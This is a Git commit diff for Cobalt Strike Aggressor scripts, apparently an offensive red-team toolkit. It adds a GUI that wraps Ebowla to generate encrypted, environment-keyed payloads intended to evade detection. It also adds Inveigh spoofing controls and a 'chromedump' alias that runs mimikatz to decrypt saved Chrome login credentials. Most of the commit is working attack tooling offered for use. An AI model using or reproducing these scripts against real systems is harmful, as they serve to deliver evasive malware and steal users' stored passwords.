mirror of
https://github.com/Und3rf10w/Aggressor-scripts
synced 2026-06-08 12:46:53 +00:00
Added the start of ebowla interoperability
This commit is contained in:
Jonathan Echavarria
@@ -0,0 +1,271 @@
|
||||
# The beginning of integration with Ebowla
|
||||
# Put ebwola.py in your path, for example:
|
||||
# ln -s /opt/Ebowla/ebowla.py /usr/bin/ebowla.py
|
||||
# You can generate a payload by clicking on Attacks -> Generate Ebowla Payload, just follow the instructions
|
||||
#
|
||||
# Some more work could be done to make this better, but for now, I'm just going to assume you have ebowla installed in /opt/Ebowla
|
||||
# - @Und3rf10w 20170228
|
||||
|
||||
sub ebowlaHelperConfigPopup {
|
||||
import javax.swing.JFrame;
|
||||
import javax.swing.JPanel;
|
||||
import java.awt.GridLayout;
|
||||
import java.awt.BorderLayout;
|
||||
import javax.swing.JScrollPane;
|
||||
import javax.swing.JTextPane;
|
||||
import javax.swing.JLabel;
|
||||
import javax.swing.JTextField;
|
||||
import javax.swing.JButton;
|
||||
import javax.swing.JComboBox;
|
||||
import javax.swing.JEditorPane;
|
||||
import javax.swing.ScrollPaneConstants;
|
||||
import javax.swing.JDialog;
|
||||
import javax.swing.DefaultComboBoxModel;
|
||||
import javax.swing.SwingConstants;
|
||||
$dialog = dialog("Ebowla Configuration Window", 450, 550);
|
||||
|
||||
# Base content pane
|
||||
$contentPane = [new JPanel];
|
||||
[$contentPane setLayout: [new GridLayout: 9, 1, 0, 0]];
|
||||
|
||||
# Panel for holding the instructions
|
||||
$instructionsPanel = [new JPanel];
|
||||
[$contentPane add: $instructionsPanel];
|
||||
[$instructionsPanel setLayout: [new GridLayout: 0, 1, 0, 0]];
|
||||
|
||||
$scrollPane = [new JScrollPane];
|
||||
[$scrollPane setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]];
|
||||
[$scrollPane setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]];
|
||||
[$instructionsPanel add: $scrollPane];
|
||||
|
||||
$textPaneInstructions = [new JTextPane];
|
||||
[$textPaneInstructions setContentType: "text/html"];
|
||||
[$textPaneInstructions setText: "<b><u>ENSURE YOU EDIT THE ENCRYPTION CONFIGURATION AT THE BOTTOM OF THIS WINDOW.</u></b><br>Use this menu to set the various configuration options for the Ebowla payload you want to generate. This assumes you already have a desired payload generated via Cobalt Strike. The pre-generated payload must match your desired output type. Maybe eventually we can have it where it generates a payload on the fly and does everything automagically (submit a pull request).\n\nThe general workflow is to just work down this menu:\n<ol>\n <li>Generate and a payload using the built-in Cobalt Strike payload generator</li>\n <li>Open this menu (you are here!)</li>\n <li>Specify the path to the payload</li>\n <li>Specify the desired output type (Go, Python, Powershell)</li>\n <li>Specify the desired output payload type</li>\n <li>Specify the key iterations (if nessessary)</li>\n <li>Specify the minus bytes</li>\n <li>Specify the encryption type</li>\n <li>Modify the settings for your desired encryption type</li>\n </ol>\n\nDEFINITIONS:\n<ul>\n <li><b>Output type</b> - specifies which template will be used for output</li>\n <li><b>Payload type</b> - specifies the file being fed and the file being generated</li>\n <li><b>Key iterations</b> - for otp_type = key and for symmetric_settings_win. It is the number of times that the key hash is iterated via sha512 before being used as the encryption key. NOT available to otp_type = full</li>\n <li><b>Minus Bytes</b> - Number of bytes subtracted from the reconstructed payload that will be the sha512 checksum used when checking the file before executing the payload</li>\n <li><b>Encryption Type</b> - specifies which Ebowla encryption type you want to use (ENV or OTP)</li>\n</ul>"];
|
||||
[$textPaneInstructions setCaretPosition: 0];
|
||||
[$scrollPane setViewportView: $textPaneInstructions];
|
||||
[$textPaneInstructions setEditable: false];
|
||||
|
||||
# Panel for selecting the path to the input payload
|
||||
$payloadInputPanel = [new JPanel];
|
||||
[$contentPane add: $payloadInputPanel];
|
||||
|
||||
$lblPayloadInputPath = [new JLabel: "Path to input payload:"];
|
||||
[$payloadInputPanel add: $lblPayloadInputPath];
|
||||
|
||||
$textFieldPayloadInput = [new JTextField];
|
||||
[$payloadInputPanel add: $textFieldPayloadInput];
|
||||
[$textFieldPayloadInput setColumns: 15];
|
||||
|
||||
$btnInputBrowse = [new JButton: "Browse..."];
|
||||
[$payloadInputPanel add: $btnInputBrowse];
|
||||
|
||||
# Logic for the browse button:
|
||||
|
||||
########### TODO: FIX THIS. THIS PART ISN'T WORKING ##############
|
||||
# [$btnInputBrowse addActionListener: lambda({
|
||||
# prompt_file_open("Select your input payload", &closure, false{
|
||||
# $inputPayloadPath = $1;
|
||||
# [$textFieldPayloadInput setText: $inputPayloadPath];
|
||||
# });
|
||||
# })];
|
||||
|
||||
# Panel for selecting the output type
|
||||
$outputPanel = [new JPanel];
|
||||
[$contentPane add: $outputPanel];
|
||||
$lblOutputType = [new JLabel: "Output Type:"];
|
||||
[$outputPanel add: $lblOutputType];
|
||||
$comboBoxOutput = [new JComboBox];
|
||||
[$comboBoxOutput addItem: "Go"];
|
||||
[$comboBoxOutput addItem: "Powershell"];
|
||||
[$comboBoxOutput addItem: "Python"];
|
||||
[$comboBoxOutput setSelectedIndex: 0];
|
||||
[$outputPanel add: $comboBoxOutput];
|
||||
|
||||
|
||||
# Panel for selecting Payload Type
|
||||
$payloadTypePanel = [new JPanel];
|
||||
[$contentPane add: $payloadTypePanel];
|
||||
|
||||
$lblPayloadType = [new JLabel: "Payload Type:"];
|
||||
[$payloadTypePanel add: $lblPayloadType];
|
||||
|
||||
$comboBoxPayload = [new JComboBox];
|
||||
|
||||
# Logic for the dynamically populated payload combobox:
|
||||
# Create the models:
|
||||
$payloadTypeModelPowershell = [new DefaultComboBoxModel: @("EXE", "CODE", "DLL_x86", "DLL_x64", "FILE_DROP")]; #was casted as final
|
||||
$payloadTypeModelPython = [new DefaultComboBoxModel: @("EXE", "SHELLCODE", "CODE", "FILE_DROP")]; #was casted as final
|
||||
$payloadTypeModelGo = [new DefaultComboBoxModel: @("EXE", "DLL_x86", "DLL_x64", "SHELLCODE")]; #was casted as final
|
||||
|
||||
# Set 'Go' as the default model (because the default output type is 'Go')
|
||||
[$comboBoxPayload setModel: $payloadTypeModelGo];
|
||||
|
||||
# Logic to dynamically populate comboBoxPayload:
|
||||
[$comboBoxOutput addActionListener: lambda({
|
||||
if ([$comboBoxOutput getSelectedItem] eq "Powershell"){
|
||||
[$comboBoxPayload setModel: $payloadTypeModelPowershell];
|
||||
} else if ([$comboBoxOutput getSelectedItem] eq "Python"){
|
||||
[$comboBoxPayload setModel: $payloadTypeModelPython];
|
||||
} else {
|
||||
[$comboBoxPayload setModel: $payloadTypeModelGo];
|
||||
}
|
||||
})];
|
||||
|
||||
[$payloadTypePanel add: $comboBoxPayload];
|
||||
|
||||
# Panel for selecting the key iterations
|
||||
$keyIterPanel = [new JPanel];
|
||||
[$contentPane add: $keyIterPanel];
|
||||
|
||||
$lblKeyIterations = [new JLabel: "Key iterations:"];
|
||||
[$keyIterPanel add: $lblKeyIterations];
|
||||
|
||||
$textFieldKeyIter = [new JTextField];
|
||||
[$textFieldKeyIter setText: "10000"];
|
||||
[$keyIterPanel add: $textFieldKeyIter];
|
||||
[$textFieldKeyIter setColumns: 10];
|
||||
|
||||
# Panel for selecting minus bytes
|
||||
$minusBytesPanel = [new JPanel];
|
||||
[$contentPane add: $minusBytesPanel];
|
||||
|
||||
$lblMinusBytes = [new JLabel: "Minus bytes:"];
|
||||
[$minusBytesPanel add: $lblMinusBytes];
|
||||
|
||||
$textFieldMinusBytes = [new JTextField];
|
||||
[$textFieldMinusBytes setText: "1"];
|
||||
[$textFieldMinusBytes setColumns: 3];
|
||||
[$minusBytesPanel add: $textFieldMinusBytes];
|
||||
|
||||
# Panel for selecting encryption type
|
||||
$encTypePanel = [new JPanel];
|
||||
[$contentPane add: $encTypePanel];
|
||||
|
||||
$lblEncType = [new JLabel: "Encryption Type:"];
|
||||
[$encTypePanel add: $lblEncType];
|
||||
|
||||
$comboBoxEncType = [new JComboBox];
|
||||
[$comboBoxEncType addItem: "ENV"];
|
||||
[$comboBoxEncType addItem: "OTP"];
|
||||
[$comboBoxEncType setSelectedIndex: 0];
|
||||
[$encTypePanel add: $comboBoxEncType];
|
||||
|
||||
# Panel for the general configuration editor
|
||||
$configEditorPanel = [new JPanel];
|
||||
[$contentPane add: $configEditorPanel];
|
||||
[$configEditorPanel setLayout: [new GridLayout: 0, 1, 0, 0]];
|
||||
|
||||
$scrollPaneConfigEditor = [new JScrollPane];
|
||||
[$scrollPaneConfigEditor setHorizontalScrollBarPolicy: [ScrollPaneConstants HORIZONTAL_SCROLLBAR_NEVER]];
|
||||
[$scrollPaneConfigEditor setVerticalScrollBarPolicy: [ScrollPaneConstants VERTICAL_SCROLLBAR_ALWAYS]];
|
||||
[$configEditorPanel add: $scrollPaneConfigEditor];
|
||||
$dtrpConfigEditor = [new JEditorPane];
|
||||
$lblConfigurationEditor = [new JLabel: "Encryption Configuration Editor"];
|
||||
[$lblConfigurationEditor setHorizontalAlignment: [SwingConstants CENTER]];
|
||||
[$dtrpConfigEditor setContentType: "text/encriched"];
|
||||
[$dtrpConfigEditor setText: "[otp_settings]\n # otp is simple, provide one time pad, type, and starting search location\n # type is full otp to reconstruct the malware in memory, or an offset in the file for a symmetric key\n\n otp_type = key # OPTIONS: full, key\n\n\n # File for use with otp\n\n pad = 'explorer.exe'\n\n # Max pad size: Decide the largest pad size to use. \n # 256 ** 3 - 1 (16777215 or 0xffffff) maximum is supported\n # Too small might be a bad idea... \n\n pad_max = 0xffffff\n\n # starting location in the path to start looking if walking the path\n\n scan_dir = 'c:\\windows\\sysnative'#'%APPDATA%'\n\n\n # For use with FULL OTP:\n # Number of max bytes for matching the payload against the OTP \n # -- larger byte width equals possible smaller lookup table but longer build times\n\n byte_width = 9\n\n\n\n[symmetric_settings_win]\n # AES-CFB-256 key from a combination of the any of the following settings.\n # Any of the following can be used, the more specific to your target the better. \n\n\n # set the value to '' if you do not want to use that value\n\n\n # This is not a permanent list. Any env variable can be added below.\n # If you want the env variable to be used, give it a value.\n # These are case insensitive.\n \n [[ENV_VAR]]\n \n username = 'admin'\n computername = ''\n homepath = ''\n homedrive = ''\n Number_of_processors = ''\n processor_identifier = ''\n processor_revision = ''\n userdomain = 'DESKTOP-E1D6G0A'\n systemdrive = ''\n userprofile = ''\n path = ''\n temp = ''\n\n\n [[PATH]]\n \n # Check if a path exists on the workstation\n # Only one path can be used. This is immutable. To use, give it a value and a start location.\n \n # This is the path that will be used as part of the key\n\n path = ''\n \n # You can provide Env Variables that are associated with a path for the start_loc\n # , such as %TEMP%, %APPDATA%, %PROGRAMFILES%\n # You Must use the %ENV VAR% when using env vars for paths!\n # Examples: C:\\Windows, C:\\Program Files, %APPDATA%\n \n start_loc = '%HOMEPATH%'\n\n\n [[IP_RANGES]]\n \n # Network mask for external enumeration 22.23.0.0\n # IP mask should not be used alone more simple to brute force.\n # Support for only 24 16 8 masks or exact ip\n # 12.12.0.0 or 12.12.12.12 or 12.12.0.0 or 12.0.0.0\n \n external_ip_mask = '' \n\n\n [[SYSTEM_TIME]]\n \n # Time Range with BEGING and END in EPOC\n # Should be used with another variable\n # This is a mask: 20161001 or 20161000 or 20160000\n # YEAR, MONTH, DAY\n \n Time_Range = '' \n"];
|
||||
[$dtrpConfigEditor setCaretPosition: 0];
|
||||
[$scrollPaneConfigEditor setViewportView: $dtrpConfigEditor];
|
||||
[$scrollPaneConfigEditor setColumnHeaderView: $lblConfigurationEditor];
|
||||
|
||||
|
||||
# Panel for holding the action buttons
|
||||
$actionButtonPanel = [new JPanel];
|
||||
[$contentPane add: $actionButtonPanel];
|
||||
|
||||
$btnGenerate = [new JButton: "Generate"];
|
||||
[$actionButtonPanel add: $btnGenerate];
|
||||
[$btnGenerate addActionListener: lambda({
|
||||
$payloadInputPath = [$textFieldPayloadInput getText];
|
||||
$outputPayloadType = [$comboBoxOutput getSelectedItem];
|
||||
$keyIter = [$textFieldKeyIter getText];
|
||||
$minusBytes = [$textFieldMinusBytes getText];
|
||||
$payloadType = [$comboBoxPayload getSelectedItem];
|
||||
$encType = [$comboBoxEncType getSelectedItem];
|
||||
$ebowlaConfig = [$dtrpConfigEditor getText];
|
||||
saveEbowlaConfig($payloadInputPath, $outputPayloadType, $keyIter, $minusBytes, $payloadType, $encType, $ebowlaConfig);
|
||||
# Close the window
|
||||
[$dialog setVisible: 0];
|
||||
})];
|
||||
|
||||
$btnCancel = [new JButton: "Cancel"];
|
||||
[$actionButtonPanel add: $btnCancel];
|
||||
[$btnCancel addActionListener: lambda({
|
||||
[$dialog setVisible: 0];
|
||||
})];
|
||||
|
||||
# add everything to $dialog and make it visible
|
||||
[$dialog add: $contentPane];
|
||||
[$dialog setVisible: 1];
|
||||
}
|
||||
|
||||
|
||||
|
||||
sub dialog {
|
||||
local('$dialog');
|
||||
$dialog = [new JDialog: $__frame__, $1];
|
||||
[$dialog setSize: $2, $3];
|
||||
[$dialog setLayout: [new BorderLayout]];
|
||||
[$dialog setLocationRelativeTo: $__frame__];
|
||||
return $dialog;
|
||||
}
|
||||
|
||||
sub saveEbowlaConfig {
|
||||
# Saves the ebowla configuration, calls ebowla, generates the payload, remove the config, then exits. Returns the payload:
|
||||
# saveEbowlaConfig(<path to input payload>, <output payload type>, <key iterations>, <minus bytes>, <payload type>, <Encryption Type>, <Rest of configuration>);
|
||||
#
|
||||
# This is made as a sub so that these can be dynamically generated later
|
||||
|
||||
# Set the arguments
|
||||
$inputPath = $1;
|
||||
$outputPayloadType = $2;
|
||||
$keyIter = $3;
|
||||
$minusBytes = $4;
|
||||
$payloadType = $5;
|
||||
$encType = $6;
|
||||
$ebowlaConfig = $7;
|
||||
|
||||
# Generate the temporary ebowla config
|
||||
$handle = openf(">ebowlatmpconfig.config");
|
||||
println($handle, "[Overall]");
|
||||
println($handle, "\tEncryption_Type = " . $encType);
|
||||
println($handle, "\toutput_type = " . $outputPayloadType);
|
||||
println($handle, "\tminus_bytes = " . $minusBytes);
|
||||
println($handle, "\tpayload_type = " . $payloadType);
|
||||
println($handle, "\tkey_iterations = " . $keyIter);
|
||||
println($handle, "\tclean_output = True\n");
|
||||
println($handle, $ebowlaConfig);
|
||||
closef($handle);
|
||||
|
||||
# Call ebowla and generate the payload:
|
||||
# This assumes that ebowla is in your $PATH as ebowla.py. I don't have a good workaround for this.
|
||||
$genEbowlaPayload = exec("ebowla.py " . $inputPath . " ebowlatmpconfig.config");
|
||||
@pushPayloadGen = readAll($genEbowlaPayload);
|
||||
|
||||
# Remove the generated config
|
||||
# Wait up to 10 seconds for the payload to be generated.
|
||||
$returnValue = wait($genEbowlaPayload, 10 * 1000);
|
||||
if ($returnValue == 0) {
|
||||
$answer = search(@pushPayloadGen, &vaildPathCriteria);
|
||||
if ($answer ne $null){
|
||||
@generatedPathArray = split(': ', $answer, 2);
|
||||
show_message("Payload has been generated at: " . cwd() . "/output/" . @generatedPathArray[1]);
|
||||
}
|
||||
closef($genEbowlaPayload);
|
||||
} else {
|
||||
show_error("Something went wrong when trying to generate payload. Please see Script Console for more info");
|
||||
closef($genEbowlaPayload);
|
||||
}
|
||||
|
||||
deleteFile("ebowlatmpconfig.config");
|
||||
}
|
||||
|
||||
popup attacks{
|
||||
item ("Generate Ebowla Payload", {
|
||||
ebowlaHelperConfigPopup();
|
||||
});
|
||||
}
|
||||
|
||||
sub vaildPathCriteria{
|
||||
return iff("[*] Writing" isin $1, "$1", $null);
|
||||
}
|
||||
@@ -52,6 +52,10 @@ Most of the useful scripts here are organized in [kits](kits). All you have to d
|
||||
|
||||
Runs [Inveigh](https://github.com/Kevin-Robertson/Inveigh) against the selected machine(s) for a specified amount of time. This does automatically enable LLMNR and NBNS spoofing.
|
||||
|
||||
>Ebowla/
|
||||
|
||||
Adds interoperability between Cobalt Strike and [Ebowla](https://github.com/Genetic-Malware/Ebowla). I plan on making this process much more integrated and automated, but at this time, you can generate an Ebowla payload within Cobalt Strike by going to ```Attacks -> Generate Ebowla Payload```. See [ewbowla-interop.cna](Ebowla/ebowla-interop.cna) for instructions.
|
||||
|
||||
>Pushover/
|
||||
|
||||
[Pushover](https://pushover.net) support for Cobalt Strike, ridiculously useful.
|
||||
|
||||
+16
-3
@@ -32,6 +32,13 @@ sub stopInveigh{
|
||||
bpowershell($bid, "Stop-Inveigh");
|
||||
}
|
||||
|
||||
sub stopInveigh-Unprivileged{
|
||||
$bid = $1;
|
||||
binput($1, "powershell-import " . script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
|
||||
bpowershell_import($1, script_resource("inveigh/Scripts/Inveigh-Unprivileged.ps1"));
|
||||
bpowershell($bid, "Stop-Inveigh");
|
||||
}
|
||||
|
||||
popup beacon_bottom {
|
||||
menu "Inveigh"{
|
||||
item "Run Inveigh"{
|
||||
@@ -50,9 +57,15 @@ popup beacon_bottom {
|
||||
item "Stop Running Inveigh"{
|
||||
local('$bid');
|
||||
foreach $bid ($1){
|
||||
blog($1, "Attempting to stop Inveigh");
|
||||
stopInveigh($bid);
|
||||
if (-isadmin $bid){
|
||||
blog($1, "Attempting to stop Inveigh");
|
||||
stopInveigh($bid);
|
||||
}
|
||||
else {
|
||||
blog($1, "Attempting to stop unprivileged Inveigh");
|
||||
stopInveigh-Unprivileged($bid);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -86,4 +86,4 @@ PS C:\> Remove-Poweliks
|
||||
} else {
|
||||
echo "[!] Error Remove Launcher (already removed?)"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Vendored
+6
@@ -55,3 +55,9 @@ sub com_exec_go {
|
||||
bstage($1, $2, $3);
|
||||
}
|
||||
|
||||
|
||||
# Chrome dump per #armitage IRC:
|
||||
# -`butane
|
||||
alias chromedump {
|
||||
bmimikatz($1, "dpapi::chrome /in:\"%localappdata%\\Google\\Chrome\\User Data\\Default\\Login Data\" /unprotect");
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user